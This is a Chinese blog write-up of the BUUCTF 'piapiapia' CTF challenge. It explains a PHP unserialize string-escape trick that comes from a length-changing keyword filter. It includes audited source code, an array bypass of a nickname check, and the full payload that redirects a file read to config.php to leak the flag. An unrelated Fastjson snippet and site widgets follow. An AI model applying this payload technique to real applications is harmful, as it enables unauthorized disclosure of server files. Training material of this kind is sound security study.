web学习(php反序列化长度变化尾部字符串逃逸)

BUUCTF piapiapia(php反序列化长度变化尾部字符串逃逸)

引用:

https://blog.csdn.net/zz_Caleb/article/details/96777110

前提知识:

md5(Array()) = null
sha1(Array()) = null    
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), "abc") = null
strpos(Array(),"abc") = null
strlen(Array()) = null

看到这样的界面,肯定是先看源码
在这里插入图片描述
两个js和一个css文件,几千行,看起来不是什么有用信息,尝试登录,无用
发现登录跳转到index.php尝试看看有没有源码泄露,先尝试了vim文件的.swp;没反应,看来别的wp才知道是www.zip
下载下来之后才发现有一个注册php,进去注册了一个admin,登录之后跳到上传界面:
在这里插入图片描述随便上传一个,访问:

查看源码:
得到一串base64加密数字:
在这里插入图片描述解密出来是我文件的内容
打开www.zip大致看了一下,发现上传文件路径被md5加密,访问md5加密的网址又跳回原网址,没用;
再继续审计源码:
发现flag在config.php里面,所以现在的目标是打开conifg.php
而在profile.php里面:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);//profile=show_profile(username)
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);//将profile反序列化
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

可以看见file_get_contents函数,我们通过各种途径打开config.php后返回的信息通过base64加密在图片信息里面,就和之前我们上传图片查看源码时那一堆base64加密一样;

查看update.php的源码:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));//移到md5加密的地方去
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));//
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

可以看见它上传的时候nickname存在过滤,

	if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
	
	但这两个都可以使用数组绕过

而在class.php里面:

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

我们输入的select,insert,update,where都会被转化成hacker;
看到反序列函数大概也想得到是用反序列化,但是这里确实是需要学习和积累的地方了:
php反序列化长度变化尾部字符串逃逸
首先知道序列化:

a:2:{s:4:"tool";s:4:"tool";s:3:"hhh";s:5:"ifeel";}

反序列化之后:

Array{
  [tool]=>tool
  [hhh]=>ifeel
}

但如果字符串的反序列数目与实际数目不等的时候,例如:

a:2:{s:4:"tool";s:4:"tooler";s:3:"hhh";s:5:"ifeel";}

这个时候反序列化时tool->tool,但是tooler后面的er逃逸了出来
这就是反序列时的字符逃逸,字符逃逸的前提是:字符串的序列化数量和实际数量不一致
在这里where会被转化为hacker,where是五个字节,hacker是六个字节
如果我们传入的字符串反序列数目是where被替换为hacker之后的总数目,那么我们传入的where后面的关键字就会发挥作用
payload如下:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

其中";}是为了和前面的{"闭合,使得后面的s:5:"photo";s:10:"config.php";}发挥作用;
原理如下:

$profile = a:4:{s:5:"phone";s:11:"1231231231";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:"被替换成hacker之后的总长度:"即将被替换成hacker的where部分"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

这是序列化的profile,可以看见nickname成为数组之后,多了一个{和"
所以我们要将这两个进行闭合,然后让payload最后的;}与最前面的{进行闭合,这样后面的s:39:“upload/804f743824c0451b2f60d81b63b6a900”;}因为没有被闭合,导致它发生不了作用;
因此可以直接读取config.php
在这里插入图片描述
放包之后查看源码进行base64即可得到flag

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Fastjson是一个Java语言编写的高性能JSON处理框架,它提供了丰富的功能和灵活的API,其中包括对序列字符串数组的支持。 要使用Fastjson进行序列字符串数组,可以按照以下步骤进行操作: 1. 导入Fastjson库:首先需要在项目中导入Fastjson库,可以通过Maven或手动下载并添加到项目的依赖中。 2. 创建JSON字符串:准备一个包含字符串数组的JSON字符串,例如:`["string1", "string2", "string3"]`。 3. 定义目标类型:创建一个Java类来表示目标类型,该类应该包含一个与JSON字符串中的数组对应的字段。 4. 进行序列:使用Fastjson提供的API进行序列操作。可以使用`JSON.parseObject()`方法将JSON字符串转换为Java对象,然后通过获取字段值来获取字符串数组。 下面是一个示例代码,演示了如何使用Fastjson序列字符串数组: ```java import com.alibaba.fastjson.JSON; public class Main { public static void main(String[] args) { String jsonString = "[\"string1\", \"string2\", \"string3\"]"; // 定义目标类型 class MyObject { private String[] strings; public String[] getStrings() { return strings; } public void setStrings(String[] strings) { this.strings = strings; } } // 序列 MyObject myObject = JSON.parseObject(jsonString, MyObject.class); String[] strings = myObject.getStrings(); // 打印结果 for (String str : strings) { System.out.println(str); } } } ``` 这样,你就可以使用Fastjson来序列字符串数组了。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值